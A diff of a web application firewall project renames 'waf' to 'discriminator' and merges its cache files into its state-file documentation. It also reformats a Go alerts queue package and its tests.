- at most 20,000 anomaly counters are kept; - at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts; - each alert destination's queue holds at most 1,000 alerts;
- `waf` holds at most 10,000 answered requests awaiting their reports; - `discriminator` holds at most 10,000 answered requests awaiting their reports;
- `waf` refuses a request with more than 50 cookies or more than 100 header - `discriminator` refuses a request with more than 50 cookies or more than 100
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md)); header fields (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds; kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502` - `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
to a longer one. answers `502` to a longer one.
## `waf`'s answer and `rproxy`'s wait ## `discriminator`'s answer and `rproxy`'s wait
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep `SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
in the background (see "Answering in time" under "`waf`" in in the background (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
@@ -417,15 +417,16 @@ they do.
A time here is a whole number of milliseconds above zero, such as `2000`. A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https` - `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
URL with a host and an optional port, and nothing more. `rproxy` speaks `https` URL with a host and an optional port, and nothing more. `rproxy`
HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s - `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
answer, to a question and to a report. A time; never `off`. `discriminator`'s answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when - `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`waf` cannot be connected to, does not answer at all, or does not answer `discriminator` cannot be connected to, does not answer at all, or does not
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
`503`. It does not apply to an answer `waf` gives, such as an error. answers `503`. It does not apply to an answer `discriminator` gives, such as
an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or - `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`. `off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or - `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
@@ -451,8 +452,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
## The image's command ## The image's command
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)). check checks: `rproxy` or `discriminator` (see "Deployment" in
It cannot be given as a file. [`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went ## Where earlier settings went
+19 -74
View File
@@ -1,28 +1,13 @@
# State and cache files # State files
The JSON files `waf` keeps, and what each holds. "Persistent state" in The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
top-level `version` of 1. a top-level `version` of 1.
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
what cannot be fetched again, so back them up:
- `bans.json`;
- `clients.json`;
- `abuseipdb-checks-spent.json`;
- `alerts.json`.
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
answers from outside services, which are asked again when a file is lost, so
the directory can be left out of backups:
- `lookups.json`;
- `lists.json`;
- `dnsbl.json`;
- `abuseipdb-scores.json`;
- `routewatch.json`.
## `bans.json` ## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
`waf` made. Per entry: `discriminator` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -82,13 +67,21 @@ since it was first seen:
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to. kept, and which nothing adds to.
## `abuseipdb-checks-spent.json` ## `lookups.json`
The AbuseIPDB checks spent today, so that a restart does not spend the daily GeoJS answers, one per line:
budget again:
- `day`: the day, in UTC; - `client`;
- `spent`: the checks spent on it. - `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json` ## `alerts.json`
@@ -98,51 +91,6 @@ budget again:
- the alerts sent and held back in the current hour; - the alerts sent and held back in the current hour;
- the alerts waiting for each destination. - the alerts waiting for each destination.
## `lookups.json`
A cache file. GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `lists.json`
A cache file. The last good copy of each list fetched from a URL, with when it
was last tried:
- `url`;
- `tried`: when it was last fetched or tried;
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
comment lines included.
## `dnsbl.json`
A cache file. Each DNS blocklist verdict still in use, one per line:
- `zone` and `client`;
- `listed`: whether the zone lists the client;
- `fetched`: when the zone answered.
## `abuseipdb-scores.json`
A cache file. AbuseIPDB's scores still in use, one per line:
- `client`;
- `score`: from 0 to 100;
- `fetched`: when AbuseIPDB answered.
## `routewatch.json`
A cache file. routewatch's answers from the last hour, one per line:
- `client`;
- `netblock`: the netblock the client's address is announced in, empty for an
address without a live route;
- `asn`: the number of the AS that originates the netblock, 0 for none;
- `answered`: when routewatch answered.
## Sizes ## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default - `clients.json`: about 1 KiB per client, about 20 MiB at the default
@@ -154,7 +102,4 @@ A cache file. routewatch's answers from the last hour, one per line:
more. more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full. full.
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB. - `reputation.json` and `alerts.json`: usually a few MiB or less.
- `abuseipdb-checks-spent.json`: a few bytes.
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
a few MiB or less.
+21 -62
View File
@@ -56,11 +56,9 @@ const (
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up. // failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure" EventSourceFailure = "source_failure"
// EventFileError is one of: // EventFileError is a rule file or state file edited while sww
// - a rule file or state file edited while sww runs that does not parse; // runs that does not parse, a replacement of the lookup database that
// - a cache file that does not parse, at start or after an edit; // cannot be read, or a state file that cannot be written.
// - a state file or cache file that cannot be written;
// - a replacement of the lookup database that cannot be read.
EventFileError = "file_error" EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held // EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held // back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
@@ -153,7 +151,7 @@ type Params struct {
// Alert is one alert, as the webhook is sent it and alerts.json holds it, // Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is // Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one waf serves // the site of the request that raised the alert, while one discriminator serves
// many sites, and "" otherwise. // many sites, and "" otherwise.
// //
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -291,15 +289,7 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string) asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string) name, _ := alert.Detail["name"].(string)
return cooldownKey{ return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
} }
// New returns a Queue with no alert yet. // New returns a Queue with no alert yet.
@@ -341,8 +331,7 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize // queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped. // alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) { func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
!slices.Contains(q.params.Events, alert.Event) {
return return
} }
@@ -389,8 +378,7 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now() now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
now.Sub(last.Sent) < q.params.Cooldown {
return false return false
} }
@@ -484,15 +472,10 @@ func (q *Queue) Snapshot() State {
} }
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or( return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
a.Netblock.Compare(b.Netblock), cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Event, b.Event), cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.File, b.File), cmp.Compare(a.Name, b.Name))
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
for _, d := range q.destinations { for _, d := range q.destinations {
@@ -624,12 +607,9 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string var reasons []string
if heldBack > 0 { if heldBack > 0 {
reasons = append( reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
reasons,
fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack, "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour), q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
)
} }
if repeats > 0 { if repeats > 0 {
@@ -708,19 +688,12 @@ func (d *destination) run(ctx context.Context) {
case ctx.Err() == nil: // not cut off as sww stops case ctx.Err() == nil: // not cut off as sww stops
d.sendFailures.Add(1) d.sendFailures.Add(1)
retryDelay = min( retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
max(retryDelayFactor*retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay) retryAt = time.Now().Add(retryDelay)
d.processLog.Warn( d.processLog.Warn("sending an alert to "+d.setting+" failed",
"sending an alert to "+d.setting+" failed", "error", err.Error(), "sending_again_in", retryDelay.String())
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
} }
} }
} }
@@ -808,12 +781,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout) ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
ctx, bytes.NewReader(body))
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
@@ -867,14 +836,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as // in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention. // Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) { func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer( escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{ body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -972,10 +934,7 @@ func text(alert *Alert) string {
} }
if alert.SuppressedRepeats > 0 { if alert.SuppressedRepeats > 0 {
lines = append( lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
} }
return strings.Join(lines, "\n") return strings.Join(lines, "\n")
+80 -304
View File
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Netblock: netip.MustParsePrefix("203.0.113.0/24"),
Country: "DE", Country: "DE",
Reason: "requests per minute over the limit of 1000", Reason: "requests per minute over the limit of 1000",
Detail: map[string]any{ Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
}) })
synctest.Wait() synctest.Wait()
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
} }
if got[0].method != http.MethodPost || got[0].url != webhookURL { if got[0].method != http.MethodPost || got[0].url != webhookURL {
t.Errorf( t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
"request %s %s, want POST %s",
got[0].method,
got[0].url,
webhookURL,
)
} }
for name, want := range map[string]string{ for name, want := range map[string]string{
@@ -92,12 +84,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"X-Team": "ops", "X-Team": "ops",
} { } {
if got[0].header.Get(name) != want { if got[0].header.Get(name) != want {
t.Errorf( t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
"header %s is %q, want %q",
name,
got[0].header.Get(name),
want,
)
} }
} }
@@ -111,10 +98,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
"as_name": "", "as_name": "",
"country": "DE", "country": "DE",
"reason": "requests per minute over the limit of 1000", "reason": "requests per minute over the limit of 1000",
"detail": map[string]any{ "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
"cause": "limit",
"ban_expires": anHourOn,
},
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
}) })
wantCounts(t, q, 1, 0, 0, 0) wantCounts(t, q, 1, 0, 0, 0)
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
webhook, q := start(t, params) webhook, q := start(t, params)
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{ q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
Event: alerts.EventFileError,
Reason: "a file error",
},
)
q.Raise(
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventFileError) wantEvents(t, webhook, alerts.EventFileError)
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
t.Parallel() t.Parallel()
params := newParams() params := newParams()
params.Events = []string{ params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
alerts.EventSourceFailure,
alerts.EventFileError,
}
q := alerts.New(params) q := alerts.New(params)
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error( t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
)
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -222,10 +188,7 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
"SWW_ALERT_NTFY_URL": onlyNtfy, "SWW_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf( t.Errorf("a ban alert would not be sent with only %s set", setting)
"a ban alert would not be sent with only %s set",
setting,
)
} }
} }
} }
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
synctest.Wait() synctest.Wait()
got := webhook.received() got := webhook.received()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventPermanentBan,
alerts.EventBan,
)
for i, want := range []struct { for i, want := range []struct {
netblock int netblock int
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
alert := got[i].alert alert := got[i].alert
if alert["netblock"] != netblock(want.netblock).String() || if alert["netblock"] != netblock(want.netblock).String() ||
alert["suppressed_repeats"] != want.repeats { alert["suppressed_repeats"] != want.repeats {
t.Errorf( t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
"alert %d is for %v with %v repeats, want %s with %v", alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
i, want.repeats)
alert["netblock"],
alert["suppressed_repeats"],
netblock(want.netblock),
want.repeats,
)
} }
} }
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
}) })
} }
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource( func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -304,10 +254,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
fileError := func(file string) alerts.Alert { fileError := func(file string) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Detail: map[string]any{ Detail: map[string]any{"file": file, "error": "line 2: an error"},
"file": file,
"error": "line 2: an error",
},
} }
} }
sourceFailure := func(source string) alerts.Alert { sourceFailure := func(source string) alerts.Alert {
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
} }
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
"the webhook was sent alerts for %v, want %v",
got,
want,
)
} }
wantCounts(t, q, 4, 0, 2, 0) wantCounts(t, q, 4, 0, 2, 0)
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
after.Raise(fileError("/rules.d/50-c.rules")) after.Raise(fileError("/rules.d/50-c.rules"))
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook] waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
waiting[0].Detail["file"] != "/rules.d/50-c.rules" { t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
t.Errorf(
"after loading, alerts wait %+v, want the one for 50-c.rules",
waiting,
)
} }
}) })
} }
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
alerts.Alert{
Event: alerts.EventPermanentBan,
Netblock: netblock(4),
},
)
q.Raise(alerts.Alert{Event: alerts.EventFileError}) q.Raise(alerts.Alert{Event: alerts.EventFileError})
// The summary is sent as the hour ends, and not before. // The summary is sent as the hour ends, and not before.
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
t,
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
)
summary := webhook.received()[2].alert summary := webhook.received()[2].alert
wantAlert(t, summary, map[string]any{ wantAlert(t, summary, map[string]any{
@@ -436,9 +364,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
"events": map[string]any{ "events": map[string]any{
"ban": float64( "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
1,
), "permanent_ban": float64(1), "file_error": float64(1),
}, },
}, },
"suppressed_repeats": float64(0), "suppressed_repeats": float64(0),
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
t, alerts.EventBan)
webhook,
alerts.EventBan,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
wantCounts(t, q, 4, 0, 3, 0) wantCounts(t, q, 4, 0, 3, 0)
}) })
} }
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary( func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
params.MaxPerHour = 1 params.MaxPerHour = 1
webhook, q := start(t, params) webhook, q := start(t, params)
raise := func() { raise := func() {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
} }
// The hour's one alert, and two repeats the cooldown holds back. // The hour's one alert, and two repeats the cooldown holds back.
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
raise() raise()
synctest.Wait() synctest.Wait()
wantEvents( wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
t,
webhook,
alerts.EventBan,
alerts.EventSummary,
alerts.EventBan,
)
got := webhook.received() got := webhook.received()
if len(got) == 3 { if len(got) == 3 {
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
summaryRepeats := got[1].alert["suppressed_repeats"] summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) { lastRepeats != float64(0) {
t.Errorf( t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
"the summary counts %v alerts and %v repeats, and the last "+ "alert gives %v repeats, want 1, 2 and 0", detail["count"],
"alert gives %v repeats, want 1, 2 and 0", summaryRepeats, lastRepeats)
detail["count"],
summaryRepeats,
lastRepeats,
)
} }
} }
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
}) })
} }
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) { if kept > int(cooldown/time.Minute) {
t.Errorf( t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
"after %d netblocks, %d cooldowns are kept, want at most %d", netblocks, kept, int(cooldown/time.Minute))
netblocks,
kept,
int(cooldown/time.Minute),
)
} }
} }
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) { if kept != 0 || repeats != float64(netblocks) {
t.Errorf( t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
"%d cooldowns are kept and the webhook was given %v repeats, "+ "want 0 and %d", kept, repeats, netblocks)
"want 0 and %d",
kept,
repeats,
netblocks,
)
} }
}) })
}) })
@@ -726,14 +620,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) || `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains( strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
logged, t.Errorf("process log %q names no failure, or names the URL", logged)
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the // than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped. // one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 { if n == 0 {
synctest.Wait() synctest.Wait()
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1) wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
waiting[0].Netblock != netblock(1) { t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
t.Fatalf( len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
} }
// The request is abandoned after 10 seconds, and the webhook, which // The request is abandoned after 10 seconds, and the webhook, which
